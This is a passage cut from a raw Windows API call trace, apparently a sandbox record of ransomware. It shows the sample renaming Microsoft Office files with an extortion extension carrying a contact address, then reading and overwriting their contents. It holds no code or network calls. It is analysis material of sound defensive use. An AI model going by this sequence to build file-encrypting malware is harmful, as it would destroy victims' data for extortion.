Flags=0x0, Size=0x10a) returned 0x7177b78 [0165.524] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.524] WriteFile (in: hFile=0x6ec, lpBuffer=0x6f76480*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f76480*, lpNumberOfBytesWritten=0x3a7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0165.524] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.524] WriteFile (in: hFile=0x6ec, lpBuffer=0x6f8187f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f8187f*, lpNumberOfBytesWritten=0x3a7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0165.527] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.527] WriteFile (in: hFile=0x6ec, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3a7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0165.527] CloseHandle (hObject=0x6ec) returned 1 [0165.527] GetProcessHeap () returned 0x630000 [0165.527] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f76480 | out: hHeap=0x630000) returned 1 [0165.527] GetProcessHeap () returned 0x630000 [0165.527] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f6b050 | out: hHeap=0x630000) returned 1 [0165.527] GetProcessHeap () returned 0x630000 [0165.527] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7177b78 | out: hHeap=0x630000) returned 1 [0165.527] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3a7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0165.527] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-latn\\PowerViewRes.sr-latn.xap.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3a7fcc4 | out: lpFindFileData=0x3a7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x160a83ba, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x160a83ba, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x289d040b, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x4f55e, dwReserved0=0xc887496, dwReserved1=0x6f6b048, cFileName="PowerViewRes.sr-latn.xap.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERV~1.FIR")) returned 0x6d5280 [0165.527] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0165.527] Sleep (dwMilliseconds=0x1) [0165.541] SysReAllocStringLen (in: pbstr=0x3a7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1031\\PowerPivotExcelClientAddIn.rll", len=0x7c | out: pbstr=0x3a7ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1031\\PowerPivotExcelClientAddIn.rll") returned 1 [0165.541] GetProcessHeap () returned 0x630000 [0165.541] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2bcc) returned 0x707d3d0 [0165.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1031\\PowerPivotExcelClientAddIn.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1031\\powerpivotexcelclientaddin.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6cc [0166.798] CloseHandle (hObject=0x6cc) returned 1 [0166.798] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3a7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0166.798] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1031\\PowerPivotExcelClientAddIn.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1031\\powerpivotexcelclientaddin.rll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1031\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1031\\powerpivotexcelclientaddin.rll.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0171.514] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3a7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0171.515] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1031\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3a7fc6c | out: lpFindFileData=0x3a7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x633d60, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x633d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x116c0, dwReserved0=0x3, dwReserved1=0x800001, cFileName="PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~1.FIR")) returned 0x6d5440 [0171.515] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0171.515] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1031\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1031\\powerpivotexcelclientaddin.rll.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6cc [0171.515] GetProcessHeap () returned 0x630000 [0171.515] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7426440 [0171.516] GetProcessHeap () returned 0x630000 [0171.516] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7431870 [0171.517] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.517] ReadFile (in: hFile=0x6cc, lpBuffer=0x7426440, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7426440*, lpNumberOfBytesRead=0x3a7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0180.474] GetProcessHeap () returned 0x630000 [0180.474] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317fe0 [0180.474] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.475] WriteFile (in: hFile=0x6cc, lpBuffer=0x7431870*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7431870*, lpNumberOfBytesWritten=0x3a7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0180.475] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.475] WriteFile (in: hFile=0x6cc, lpBuffer=0x743cc6f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x743cc6f*, lpNumberOfBytesWritten=0x3a7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0180.475] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.475] WriteFile (in: hFile=0x6cc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3a7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0180.476] CloseHandle (hObject=0x6cc) returned 1 [0180.476] GetProcessHeap () returned 0x630000 [0180.476] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7431870 | out: hHeap=0x630000) returned 1 [0181.934] GetProcessHeap () returned 0x630000 [0181.934] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7426440 | out: hHeap=0x630000) returned 1 [0181.935] GetProcessHeap () returned 0x630000 [0181.935] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317fe0 | out: hHeap=0x630000) returned 1 [0182.477] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3a7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0182.477] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1031\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3a7fcc4 | out: lpFindFileData=0x3a7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x633d60, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x633d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x3184ecc7, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x116e4, dwReserved0=0xc887496, dwReserved1=0x7426438, cFileName="PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~1.FIR")) returned 0x6d53c0 [0182.478] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0182.478] Sleep (dwMilliseconds=0x1) [0182.509] SysReAllocStringLen (in: pbstr=0x3a7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SUNSET.CSS", len=0x3f | out: pbstr=0x3a7ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SUNSET.CSS") returned 1 [0182.509] GetProcessHeap () returned 0x630000 [0182.509] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2a6c) returned 0x707d3d0 [0182.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SUNSET.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\sunset.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x698 [0182.511] CloseHandle (hObject=0x698) returned 1 [0182.511] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3a7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0182.511] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SUNSET.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\sunset.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SUNSET.CSS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\sunset.css.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0182.513] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3a7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0182.513] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SUNSET.CSS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3a7fc6c | out: lpFindFileData=0x3a7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4796e84, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4796e84, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4796e84, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUNSET.CSS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SUNSET~1.FIR")) returned 0x6d5000 [0182.513] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0182.513] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SUNSET.CSS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\sunset.css.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x698 [0182.513] GetProcessHeap () returned 0x630000 [0182.513] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xd81) returned 0x695ed0 [0182.513] GetProcessHeap () returned 0x630000 [0182.513] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xd81) returned 0x6fa4008 [0182.513] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.513] ReadFile (in: hFile=0x698, lpBuffer=0x695ed0, nNumberOfBytesToRead=0xd60, lpNumberOfBytesRead=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x695ed0*, lpNumberOfBytesRead=0x3a7ff0c*=0xd60, lpOverlapped=0x0) returned 1 [0182.532] GetProcessHeap () returned 0x630000 [0182.532] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317fe0 [0182.532] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.532] WriteFile (in: hFile=0x698, lpBuffer=0x6fa4008*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fa4008*, lpNumberOfBytesWritten=0x3a7ff0c*=0xd60, lpOverlapped=0x0) returned 1 [0182.532] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.532] WriteFile (in: hFile=0x698, lpBuffer=0x6fa4d67*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fa4d67*, lpNumberOfBytesWritten=0x3a7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0182.533] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.533] WriteFile (in: hFile=0x698, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3a7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0182.533] CloseHandle (hObject=0x698) returned 1 [0182.533] GetProcessHeap () returned 0x630000 [0182.533] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fa4008 | out: hHeap=0x630000) returned 1 [0182.533] GetProcessHeap () returned 0x630000 [0182.533] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x695ed0 | out: hHeap=0x630000) returned 1 [0182.533] GetProcessHeap () returned 0x630000 [0182.533] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317fe0 | out: hHeap=0x630000) returned 1 [0182.533] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3a7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0182.533] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SUNSET.CSS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3a7fcc4 | out: lpFindFileData=0x3a7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4796e84, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4796e84, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x32c02a5d, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xd9e, dwReserved0=0xc887496, dwReserved1=0x695ec8, cFileName="SUNSET.CSS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SUNSET~1.FIR")) returned 0x6d5340 [0182.534] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0182.534] Sleep (dwMilliseconds=0x1) [0182.547] SysReAllocStringLen (in: pbstr=0x3a7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SPRING.CSS", len=0x3f | out: pbstr=0x3a7ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SPRING.CSS") returned 1 [0182.547] GetProcessHeap () returned 0x630000 [0182.547] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2a58) returned 0x707d3d0 [0182.547] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SPRING.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\spring.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x698 [0182.639] CloseHandle (hObject=0x698) returned 1 [0182.639] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3a7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0182.653] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SPRING.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\spring.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SPRING.CSS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\spring.css.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0182.654] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3a7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0182.654] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SPRING.CSS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3a7fc6c | out: lpFindFileData=0x3a7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4770c42, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4770c42, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4770c42, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPRING.CSS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SPRING~1.FIR")) returned 0x6d5280 [0182.654] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0182.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SPRING.CSS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\spring.css.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x688 [0182.654] GetProcessHeap () returned 0x630000 [0182.654] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xd81) returned 0x695ed0 [0182.654] GetProcessHeap () returned 0x630000 [0182.654] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xd81) returned 0x6fa4008 [0182.654] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.654] ReadFile (in: hFile=0x688, lpBuffer=0x695ed0, nNumberOfBytesToRead=0xd60, lpNumberOfBytesRead=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x695ed0*, lpNumberOfBytesRead=0x3a7ff0c*=0xd60, lpOverlapped=0x0) returned 1 [0182.668] GetProcessHeap () returned 0x630000 [0182.668] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7316f78 [0182.668] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.669] WriteFile (in: hFile=0x688, lpBuffer=0x6fa4008*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fa4008*, lpNumberOfBytesWritten=0x3a7ff0c*=0xd60, lpOverlapped=0x0) returned 1 [0182.669] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.669] WriteFile (in: hFile=0x688, lpBuffer=0x6fa4d67*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fa4d67*, lpNumberOfBytesWritten=0x3a7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0182.669] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.669] WriteFile (in: hFile=0x688, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3a7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0182.669] CloseHandle (hObject=0x688) returned 1 [0182.669] GetProcessHeap () returned 0x630000 [0182.669] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fa4008 | out: hHeap=0x630000) returned 1 [0182.669] GetProcessHeap () returned 0x630000 [0182.669] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x695ed0 | out: hHeap=0x630000) returned 1 [0182.669] GetProcessHeap () returned 0x630000 [0182.669] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7316f78 | out: hHeap=0x630000) returned 1 [0182.669] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3a7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0182.669] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SPRING.CSS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3a7fcc4 | out: lpFindFileData=0x3a7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4770c42, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4770c42, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x32d3e21b, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xd9e, dwReserved0=0xc887496, dwReserved1=0x695ec8, cFileName="SPRING.CSS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SPRING~1.FIR")) returned 0x6d4f40 [0182.670] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0182.670] Sleep (dwMilliseconds=0x1) [0182.680] SysReAllocStringLen (in: pbstr=0x3a7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG_K_COL.HXK", len=0x4e | out: pbstr=0x3a7ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG_K_COL.HXK") returned 1 [0182.680] GetProcessHeap () returned 0x630000 [0182.680] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2a40) returned 0x707d3d0 [0182.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_onlineg_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6dc [0182.681] CloseHandle (hObject=0x6dc) returned 1 [0182.681] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3a7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0182.681] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_onlineg_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_onlineg_k_col.hxk.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0182.682] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3a7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0182.682] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3a7fc6c | out: lpFindFileData=0x3a7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae963cd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae963cd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae963cd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x71, 